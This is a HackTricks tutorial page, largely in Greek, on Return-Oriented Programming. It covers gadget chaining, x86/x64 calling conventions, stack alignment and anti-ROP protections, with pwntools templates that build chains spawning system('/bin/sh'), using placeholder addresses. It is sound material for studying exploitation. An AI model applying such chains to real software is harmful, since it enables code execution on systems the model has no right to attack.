ROP - Return Oriented Programing
Reading time: 10 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Βασικές Πληροφορίες
Return-Oriented Programming (ROP) είναι μια προηγμένη τεχνική εκμετάλλευσης που χρησιμοποιείται για να παρακαμφθούν τα μέτρα ασφαλείας όπως το No-Execute (NX) ή το Data Execution Prevention (DEP). Αντί να εισάγει και να εκτελεί shellcode, ένας επιτιθέμενος εκμεταλλεύεται κομμάτια κώδικα που είναι ήδη παρόντα στο δυαδικό αρχείο ή σε φορτωμένες βιβλιοθήκες, γνωστά ως "gadgets". Κάθε gadget συνήθως τελειώνει με μια εντολή ret
και εκτελεί μια μικρή λειτουργία, όπως η μετακίνηση δεδομένων μεταξύ καταχωρητών ή η εκτέλεση αριθμητικών λειτουργιών. Συνδέοντας αυτά τα gadgets, ένας επιτιθέμενος μπορεί να κατασκευάσει ένα payload για να εκτελέσει αυθαίρετες λειτουργίες, παρακάμπτοντας αποτελεσματικά τις προστασίες NX/DEP.
Πώς Λειτουργεί το ROP
- Hijacking Ροής Ελέγχου: Πρώτα, ένας επιτιθέμενος πρέπει να hijack τη ροή ελέγχου ενός προγράμματος, συνήθως εκμεταλλευόμενος μια υπερχείλιση buffer για να αντικαταστήσει μια αποθηκευμένη διεύθυνση επιστροφής στο stack.
- Σύνδεση Gadgets: Ο επιτιθέμενος στη συνέχεια επιλέγει προσεκτικά και συνδέει gadgets για να εκτελέσει τις επιθυμητές ενέργειες. Αυτό μπορεί να περιλαμβάνει τη ρύθμιση παραμέτρων για μια κλήση συνάρτησης, την κλήση της συνάρτησης (π.χ.,
system("/bin/sh")
), και τη διαχείριση οποιασδήποτε απαραίτητης καθαριότητας ή πρόσθετων λειτουργιών. - Εκτέλεση Payload: Όταν η ευάλωτη συνάρτηση επιστρέφει, αντί να επιστρέψει σε μια νόμιμη τοποθεσία, αρχίζει να εκτελεί την αλυσίδα των gadgets.
Εργαλεία
Συνήθως, τα gadgets μπορούν να βρεθούν χρησιμοποιώντας ROPgadget, ropper ή απευθείας από pwntools (ROP).
ROP Chain σε Παράδειγμα x86
x86 (32-bit) Κλήσεις Συμβάσεων
- cdecl: Ο καλών καθαρίζει το stack. Οι παράμετροι της συνάρτησης τοποθετούνται στο stack σε αντίστροφη σειρά (δεξιά προς τα αριστερά). Οι παράμετροι τοποθετούνται στο stack από δεξιά προς τα αριστερά.
- stdcall: Παρόμοιο με το cdecl, αλλά ο καλούμενος είναι υπεύθυνος για τον καθαρισμό του stack.
Εύρεση Gadgets
Πρώτα, ας υποθέσουμε ότι έχουμε εντοπίσει τα απαραίτητα gadgets μέσα στο δυαδικό αρχείο ή τις φορτωμένες βιβλιοθήκες. Τα gadgets που μας ενδιαφέρουν είναι:
pop eax; ret
: Αυτό το gadget αφαιρεί την κορυφαία τιμή του stack στον καταχωρητήEAX
και στη συνέχεια επιστρέφει, επιτρέποντάς μας να ελέγξουμε τοEAX
.pop ebx; ret
: Παρόμοιο με το παραπάνω, αλλά για τον καταχωρητήEBX
, επιτρέποντας τον έλεγχο τουEBX
.mov [ebx], eax; ret
: Μεταφέρει την τιμή στοEAX
στη διεύθυνση μνήμης που υποδεικνύεται από τοEBX
και στη συνέχεια επιστρέφει. Αυτό συχνά ονομάζεται write-what-where gadget.- Επιπλέον, έχουμε τη διεύθυνση της συνάρτησης
system()
διαθέσιμη.
ROP Chain
Χρησιμοποιώντας pwntools, προετοιμάζουμε το stack για την εκτέλεση της ROP αλυσίδας ως εξής, στοχεύοντας να εκτελέσουμε system('/bin/sh')
, σημειώστε πώς η αλυσίδα ξεκινά με:
- Μια εντολή
ret
για σκοπούς ευθυγράμμισης (προαιρετική) - Διεύθυνση της συνάρτησης
system
(υποθέτοντας ότι το ASLR είναι απενεργοποιημένο και γνωστό libc, περισσότερες πληροφορίες στο Ret2lib) - Θέση για τη διεύθυνση επιστροφής από το
system()
- Διεύθυνση της συμβολοσειράς
"/bin/sh"
(παράμετρος για τη συνάρτηση system)
from pwn import *
# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)
# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))
# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de
# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe # This could be any gadget that allows us to control the return address
# Construct the ROP chain
rop_chain = [
ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr, # Address of system(). Execution will continue here after the ret gadget
0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system()
]
# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)
# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
ROP Chain in x64 Example
x64 (64-bit) Calling conventions
- Χρησιμοποιεί τη System V AMD64 ABI calling convention σε συστήματα τύπου Unix, όπου τα πρώτα έξι ακέραια ή δείκτες επιχειρήματα περνάνε στους καταχωρητές
RDI
,RSI
,RDX
,RCX
,R8
, καιR9
. Πρόσθετα επιχειρήματα περνάνε στο stack. Η τιμή επιστροφής τοποθετείται στοRAX
. - Η calling convention Windows x64 χρησιμοποιεί
RCX
,RDX
,R8
, καιR9
για τα πρώτα τέσσερα ακέραια ή δείκτες επιχειρήματα, με πρόσθετα επιχειρήματα να περνάνε στο stack. Η τιμή επιστροφής τοποθετείται στοRAX
. - Registers: Οι 64-bit καταχωρητές περιλαμβάνουν
RAX
,RBX
,RCX
,RDX
,RSI
,RDI
,RBP
,RSP
, καιR8
έωςR15
.
Finding Gadgets
Για τους σκοπούς μας, ας επικεντρωθούμε σε gadgets που θα μας επιτρέψουν να ρυθμίσουμε τον RDI καταχωρητή (για να περάσουμε τη συμβολοσειρά "/bin/sh" ως επιχείρημα στη system()) και στη συνέχεια να καλέσουμε τη συνάρτηση system(). Θα υποθέσουμε ότι έχουμε εντοπίσει τα εξής gadgets:
- pop rdi; ret: Αντλεί την κορυφαία τιμή του stack στον RDI και στη συνέχεια επιστρέφει. Απαραίτητο για να ρυθμίσουμε το επιχείρημά μας για τη system().
- ret: Μια απλή επιστροφή, χρήσιμη για την ευθυγράμμιση του stack σε ορισμένα σενάρια.
Και γνωρίζουμε τη διεύθυνση της συνάρτησης system().
ROP Chain
Παρακάτω είναι ένα παράδειγμα που χρησιμοποιεί pwntools για να ρυθμίσει και να εκτελέσει μια ROP chain με στόχο την εκτέλεση system('/bin/sh') σε x64:
from pwn import *
# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)
# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))
# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef
# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead # ret gadget for alignment, if necessary
# Construct the ROP chain
rop_chain = [
ret_gadget, # Alignment gadget, if needed
pop_rdi_gadget, # pop rdi; ret
bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system()
system_addr # Address of system(). Execution will continue here.
]
# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)
# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
Σε αυτό το παράδειγμα:
- Χρησιμοποιούμε το
pop rdi; ret
gadget για να ορίσουμε τοRDI
στη διεύθυνση του"/bin/sh"
. - Πηδάμε απευθείας στη
system()
μετά την ρύθμιση τουRDI
, με τη διεύθυνση της system() στην αλυσίδα. - Το
ret_gadget
χρησιμοποιείται για ευθυγράμμιση αν το περιβάλλον στόχος το απαιτεί, κάτι που είναι πιο συνηθισμένο σε x64 για να διασφαλιστεί η σωστή ευθυγράμμιση της στοίβας πριν από την κλήση συναρτήσεων.
Ευθυγράμμιση Στοίβας
Η x86-64 ABI διασφαλίζει ότι η στοίβα είναι ευθυγραμμισμένη στα 16 byte όταν εκτελείται μια εντολή κλήσης. LIBC, για να βελτιστοποιήσει την απόδοση, χρησιμοποιεί εντολές SSE (όπως movaps) που απαιτούν αυτή την ευθυγράμμιση. Αν η στοίβα δεν είναι σωστά ευθυγραμμισμένη (σημαίνει ότι το RSP δεν είναι πολλαπλάσιο του 16), οι κλήσεις σε συναρτήσεις όπως η system θα αποτύχουν σε μια ROP αλυσίδα. Για να το διορθώσετε, απλά προσθέστε ένα ret gadget πριν από την κλήση της system στην ROP αλυσίδα σας.
Κύρια διαφορά x86 vs x64
tip
Δεδομένου ότι x64 χρησιμοποιεί καταχωρητές για τα πρώτα λίγα επιχειρήματα, συχνά απαιτεί λιγότερα gadgets από το x86 για απλές κλήσεις συναρτήσεων, αλλά η εύρεση και η αλυσίδωση των σωστών gadgets μπορεί να είναι πιο περίπλοκη λόγω του αυξημένου αριθμού καταχωρητών και του μεγαλύτερου χώρου διευθύνσεων. Ο αυξημένος αριθμός καταχωρητών και ο μεγαλύτερος χώρος διευθύνσεων στην αρχιτεκτονική x64 παρέχουν τόσο ευκαιρίες όσο και προκλήσεις για την ανάπτυξη εκμεταλλεύσεων, ειδικά στο πλαίσιο του Return-Oriented Programming (ROP).
Παράδειγμα ROP αλυσίδας σε ARM64
Βασικά ARM64 & Συμβάσεις Κλήσης
Ελέγξτε την παρακάτω σελίδα για αυτές τις πληροφορίες:
Προστασίες κατά του ROP
- ASLR & PIE: Αυτές οι προστασίες καθιστούν πιο δύσκολη τη χρήση του ROP καθώς οι διευθύνσεις των gadgets αλλάζουν μεταξύ των εκτελέσεων.
- Stack Canaries: Σε περίπτωση BOF, είναι απαραίτητο να παρακαμφθεί η αποθήκευση canary της στοίβας για να επαναγραφούν οι δείκτες επιστροφής για να εκμεταλλευτούν μια ROP αλυσίδα.
- Έλλειψη Gadgets: Αν δεν υπάρχουν αρκετά gadgets, δεν θα είναι δυνατή η δημιουργία μιας ROP αλυσίδας.
Τεχνικές βασισμένες σε ROP
Σημειώστε ότι το ROP είναι απλώς μια τεχνική για την εκτέλεση αυθαίρετου κώδικα. Βασισμένες στο ROP, αναπτύχθηκαν πολλές τεχνικές Ret2XXX:
- Ret2lib: Χρησιμοποιεί ROP για να καλέσει αυθαίρετες συναρτήσεις από μια φορτωμένη βιβλιοθήκη με αυθαίρετους παραμέτρους (συνήθως κάτι σαν
system('/bin/sh')
.
- Ret2Syscall: Χρησιμοποιεί ROP για να προετοιμάσει μια κλήση σε μια syscall, π.χ.
execve
, και να την εκτελέσει αυθαίρετες εντολές.
- EBP2Ret & EBP Chaining: Το πρώτο θα εκμεταλλευτεί το EBP αντί του EIP για να ελέγξει τη ροή και το δεύτερο είναι παρόμοιο με το Ret2lib αλλά σε αυτή την περίπτωση η ροή ελέγχεται κυρίως με διευθύνσεις EBP (αν και είναι επίσης απαραίτητο να ελέγχεται το EIP).
Stack Pivoting - EBP2Ret - EBP chaining
Άλλα Παραδείγματα & Αναφορές
- https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions
- https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html
- 64 bit, Pie και nx ενεργοποιημένα, χωρίς canary, επαναγραφή RIP με μια διεύθυνση
vsyscall
με τον μοναδικό σκοπό να επιστρέψει στη διεύθυνση που ακολουθεί στη στοίβα, η οποία θα είναι μια μερική επαναγραφή της διεύθυνσης για να αποκτήσει το μέρος της συνάρτησης που διαρρέει τη σημαία. - https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/
- arm64, χωρίς ASLR, ROP gadget για να κάνει τη στοίβα εκτελέσιμη και να πηδήξει σε shellcode στη στοίβα.
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.